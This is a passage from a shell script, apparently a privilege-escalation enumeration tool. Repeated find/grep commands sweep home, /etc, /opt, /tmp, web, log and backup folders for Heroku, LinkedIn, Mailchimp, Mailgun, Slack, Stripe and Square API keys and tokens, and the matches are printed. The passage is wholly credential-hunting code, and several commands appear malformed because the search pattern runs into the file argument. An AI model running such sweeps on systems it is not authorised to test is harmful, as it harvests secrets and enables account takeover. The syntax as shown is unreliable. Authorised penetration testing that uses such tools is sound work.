timeout 120 find /private -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~"&
wait
print_3title "Searching LinkedIn Client ID (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~"&
wait
print_3title "Searching LinkedIn Secret Key (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~"&
wait
print_3title "Searching Mailchamp API Key (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~"&
wait
print_3title "Searching Mailgun API Key (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~key-[0-9a-zA-Z]{32}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~key-[0-9a-zA-Z]{32}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~key-[0-9a-zA-Z]{32}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~key-[0-9a-zA-Z]{32}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~key-[0-9a-zA-Z]{32}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~key-[0-9a-zA-Z]{32}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~key-[0-9a-zA-Z]{32}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~key-[0-9a-zA-Z]{32}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~key-[0-9a-zA-Z]{32}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~key-[0-9a-zA-Z]{32}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~key-[0-9a-zA-Z]{32}~${SED_RED}~"&
wait
print_3title "Searching Picatic API Key (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sk_live_[0-9a-z]{32}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sk_live_[0-9a-z]{32}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sk_live_[0-9a-z]{32}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sk_live_[0-9a-z]{32}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sk_live_[0-9a-z]{32}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sk_live_[0-9a-z]{32}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sk_live_[0-9a-z]{32}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sk_live_[0-9a-z]{32}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sk_live_[0-9a-z]{32}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sk_live_[0-9a-z]{32}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sk_live_[0-9a-z]{32}~${SED_RED}~"&
wait
print_3title "Searching Slack Token (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~"&
wait
print_3title "Searching Stripe API Key (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~"&
wait
print_3title "Searching Square Access Token (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~"&
wait
print_3title "Searching Square Oauth Secret (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~"&
